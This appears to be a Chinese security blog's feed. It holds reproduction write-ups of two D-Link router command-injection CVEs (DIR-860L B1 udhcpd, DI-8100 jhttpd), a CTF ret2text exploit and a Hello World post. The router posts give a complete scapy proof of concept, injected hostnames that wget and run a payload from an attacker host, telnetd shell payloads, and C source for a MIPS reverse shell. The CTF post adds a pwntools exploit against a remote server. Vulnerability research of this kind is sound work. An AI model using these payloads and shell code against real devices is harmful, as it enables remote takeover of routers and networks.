SAKURA Hexo https://jianglingge.github.io/ All rights reserved 2026, SAKURA 记录 · 思考 · 分享 我的博客 2026-10-24T09:38:00.000Z SAKURA 固件解包
1
binwalk -Me DIR-860L_B1_FW203b03.bin

固件模拟

配置网卡

1
2
3
echo 123 | sudo -S ip tuntap add dev tap10_0 mode tap
echo 123 | sudo -S ip link set tap10_0 up
echo 123 | sudo -S ip addr add 192.168.0.2/24 dev tap10_0

启动qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo 123 | sudo -S qemu-system-mipsel \
  -m 1024 -M malta \
  -kernel binaries/vmlinux.mipsel.4 \
  -drive if=ide,format=raw,file=scratch/10/image.raw \
  -append "root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 \
           rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 \
           FIRMAE_NET=true FIRMAE_NVRAM=true FIRMAE_KERNEL=true FIRMAE_ETC=true \
           user_debug=0 firmadyne.syscall=1" \
  -serial file:scratch/10/qemu.final.serial.log \
  -serial unix:/tmp/qemu.10.S1,server,nowait \
  -monitor unix:/tmp/qemu.10,server,nowait \
  -display none \
  -device e1000,netdev=net0 -netdev socket,id=net0,listen=:2000 \
  -device e1000,netdev=net1 -netdev socket,id=net1,listen=:2001 \
  -device e1000,netdev=net2 -netdev tap,id=net2,ifname=tap10_0,script=no \
  -device e1000,netdev=net3 -netdev socket,id=net3,listen=:2003

漏洞分析

资料中描述了漏洞信息，在DHCP守护进程中发现了RCE，并且是在处理现有IP地址的DHCP REQUEST消息中。

去看udhcpd这个组件

从借鉴的文章中直接定位到这个处理DHCP的函数

然后再往下就能看到一个system()函数

从这里可以看到服务器循环接收 DHCP 报文，读取 Option 53决定走哪个分支

case3会通过get_option()直接从客户端DHCP REQUEST包中提取Option12，然后复制到v33，没有过滤地去把MAC(%s)、IP(%s)、hostname(%s)拼成命令字符串

也就是在流程图的这个地方，Option 12 = Hostname，攻击者可控，是命令注入的输入点

如果找到现有租约

发送ACK，确认续租

那接下来就只需要用一个 shell 分隔符 ; 把可控的hostname的内容截成新命令

可以输入

1
MyHost ; wget http://192.168.0.142:6666/evil.sh ; sh evil.sh ;

最终整条system执行的就是

1
usockc /var/mydlinkeventd_usock NEW_DEVICE,76:e4:ab:1e:fe:40,192.168.0.142,MyHost ; wget http://... ; sh evil.sh ;\n

但是就像这里

我们先需要一个hostname才能进入我们的命令注入点

因此我们必须先拥有合法的租约，并且在发送的恶意 REQUEST 包中包含 Hostname 字段，才能进入这个注入点

复现

先拿一次租约

1
echo 123 | sudo -S dhclient -v -1 tap10_0

1
2
3
4
MAC      = "aa:1d:62:32:cf:ab"
REQ_IP   = "192.168.0.163"
SERVER   = "192.168.0.1"
HOSTNAME = "; telnetd -l /bin/sh -p 9999 ;"

再关闭dhclicent防止后面干扰

1
sudo killall dhclient

然后开一个终端，准备给路由器传payload

1
python3 -m http.server 8000

再开一个nc监听

1
nc -lvnp 4444

发恶意 DHCP REQUEST

1
echo 123 | sudo -S python3 rev_shell.py tap10_0

发送的 Hostname是

1
; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &

拼进 udhcpd 的 system() 后，实际执行的命令

1
usockc /var/mydlinkeventd_usock NEW_DEVICE,aa:1d:62:32:cf:ab,192.168.0.163,; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &

然后路由器就会wget 下载 ->chmod +x->/tmp/s 后台回连

监听端口会收到连接，直接就是 root shell

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
# CVE-2025-14659  PoC：D-Link DIR-860L B1 udhcpd Hostname 命令注入
from scapy.all import *
import time

# ---- 改成你 dhclient 拿到/网卡实际的值 ----
IFACE    = "tap10_0"
MAC      = "aa:1d:62:32:cf:ab"     # 网卡 MAC
REQ_IP   = "192.168.0.163"         # dhclient 分配的租约 IP
SERVER   = "192.168.0.1"           # 路由器(DHCP 服务器)
XID      = 0x12345678

# ---- 注入点：Option 12 Hostname，靠 ; 截断命令 ----
HOSTNAME = "; telnetd -l /bin/sh -p 9999 ;"

mac_bytes = bytes.fromhex(MAC.replace(":", ""))

pkt = (Ether(src=MAC, dst="ff:ff:ff:ff:ff:ff")
       / IP(src="0.0.0.0", dst="255.255.255.255")
       / UDP(sport=68, dport=67)
       / BOOTP(chaddr=mac_bytes, xid=XID)
       / DHCP(options=[
           ("message-type", "request"),
           ("requested_addr", REQ_IP),
           ("server_id", SERVER),
           ("hostname", HOSTNAME),   # <== 漏洞点
           "end"
       ]))

for _ in range(3):
    sendp(pkt, iface=IFACE, verbose=False)
    time.sleep(0.4)
print("[*] sent. hostname =", HOSTNAME)

补充

shell.elf源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* mipsle 反弹 shell，静态编译后给 DIR-860L 用。
   用法: shell.elf [ip] [port]   (默认 192.168.0.2:4444) */
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char **argv) {
    const char *ip = argc > 1 ? argv[1] : "192.168.0.2";
    int port = argc > 2 ? atoi(argv[2]) : 4444;

    int fd = socket(AF_INET, SOCK_STREAM, 0);        // 建 TCP socket
    if (fd < 0) return 1;

    struct sockaddr_in a;
    a.sin_family = AF_INET;
    a.sin_port = htons((unsigned short)port);        // 端口 4444
    a.sin_addr.s_addr = inet_addr(ip);               // 回连 IP 192.168.0.2

    if (connect(fd, (struct sockaddr *)&a, sizeof(a)) < 0) return 2;  // 连回攻击机

    dup2(fd, 0);                                     // 把连接接到 stdin
    dup2(fd, 1);                                     // stdout
    dup2(fd, 2);                                     // stderr

    char *sh_argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", sh_argv, NULL);                // 变成 /bin/sh
    return 3;
}
]]> https://jianglingge.github.io/2026/10/24/cve-2025-14659-dlink-dir-860l-b1/ 2026-10-24T09:38:00.000Z 对 D-Link DIR-860L B1（v203b03）CVE-2025-14659 的复现记录：binwalk 解包并用 QEMU 模拟固件后，定位 udhcpd 处理 DHCP REQUEST 时未过滤拼接的 system() 调用，利用可控的 Option 12 Hostname 做命令注入，最后通过 wget 投递 shell 拿到 root。 CVE-2025-14659 D-Link DIR-860LB1 v203b03 命令注入漏洞 2026-10-24T09:38:00.000Z SAKURA 解题思路

将题目附件拖入IDA打开

左侧可以看到有backdoor后门函数

再看从程序开始执行到vuln函数，有一个gets()函数，这是一个栈溢出漏洞，因为没有对输入做出长度检查，我们可以去进行栈溢出

双击s可以看到s这里的栈布局

也可以在c代码页面中直接看，s这个参数到栈底rbp的距离是0x20

但是在这个溢出点前还有一个taffy()函数，点进去看一下是干什么用的

这里可以看到，这是对输入的字符进行一个比较，但是这是没有什么作用的，所以这里随便填，就能到下面的溢出点了

去查看backdoor()的地址，0x40123B

然后就可以去构造payload了

先发送0x20的垃圾数据填充从s到栈底的空间，再发送一个0x8的数据覆盖rbp，ret地址在rbp的下一位，所以在填充完从s到覆盖rbp的位置后就可以直接传backdoor()的函数

栈空间布局：

画板

解题脚本（exp）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

#r = process('./pwn')
r = remote('175.24.227.50',35264)

context.arch = 'amd64'
context.log_level = 'info'

elf = ELF('./pwn')
backdoor_addr = 0x40123B
ret_gadget = 0x000000000040101a

offset = 0x20 + 8
payload = b'A' * offset + p64(ret_gadget) + p64(backdoor_addr)

r.sendlineafter('大唐王朝中是谁开疆拓土？'.encode(),b'taffy')

r.sendlineafter('请开始你的表演：'.encode(), payload)
r.interactive()
]]> https://jianglingge.github.io/2026/10/24/simple-ret2text/ 2026-10-23T16:43:20.000Z 一道 ret2text 入门题：用 IDA 定位 backdoor 后门函数与 gets 栈溢出点，以 0x20 填充加 0x8 覆盖 rbp，再接 ret gadget 与后门地址拿下 shell。 来一个简单ret2text 2026-10-23T16:43:20.000Z SAKURA 漏洞分析

下载固件后使用binwalk解包

1
binwalk -Me DI_8100-16.07.26A1.zip

进入解包后的目录

使用

1
./firmwalker.sh /home/blonet/下载/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root

查找到jhttpd文件

分析与jhttpd有关的rc

根据漏洞信息报告找到危险函数 system

执行v10，v10由v28而来

v28由v16拼接字符串

那么就有一个命令执行漏洞

再看前面的if条件

flag 是路由器，决定执行哪条命令

是cmd时才会执行漏洞函数

先看命令模板wys %s > /tmp/msp.info wys 里有一个命令表 gl_order_str

直接传 cmd=ls，wys 查表，表里没有ls，拒绝执行，no order,please help。

要用管道符 | 绕过

因为直接使用不了命令，也是通过丰富的经验知道通过busybox去调用

固件模拟

使用firmae模拟

进入到路由器管理页面（账号密码依旧丰富的经验，但也可以找到）

然后用bp拦截改数据：

1
flag=cmd&cmd=|/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%204444

发送

反弹shell

查看固件的busybox

有telnetd可以反弹shell

]]> https://jianglingge.github.io/2026/10/08/cve-2024-7436-dlink-di-8100/ 2026-10-08T12:07:31.000Z 对 D-Link DI-8100 路由器 jhttpd 组件中 CVE-2024-7436 命令执行漏洞的复现记录，包含固件解包、漏洞点定位、固件模拟与反弹 shell 的完整过程。 CVE-2024-7436 D-Link DI-8100 命令执行漏洞分析 2026-10-08T12:12:57.000Z SAKURA Hello World.

学一门新语言、开一个新项目，第一件事总是先让它向世界问个好。新博客也一样，就从这个标题开始。

这里是我的个人博客，准备用来放技术笔记和平时的一些零散想法。

之所以想有个自己的地方：写下来的东西，才算真正想清楚过。放在自己的站点上，排版是自己的，数据也是自己的。

暂时没什么宏大的计划，就是慢慢写、一直写。

那么，从这一篇开始。

]]> https://jianglingge.github.io/2026/10/08/hello-world/ 2026-10-08T12:03:34.000Z 博客的第一篇文章。开一个新项目的第一件事，总是先让它向世界问个好。 Hello World 2026-10-08T12:03:34.000Z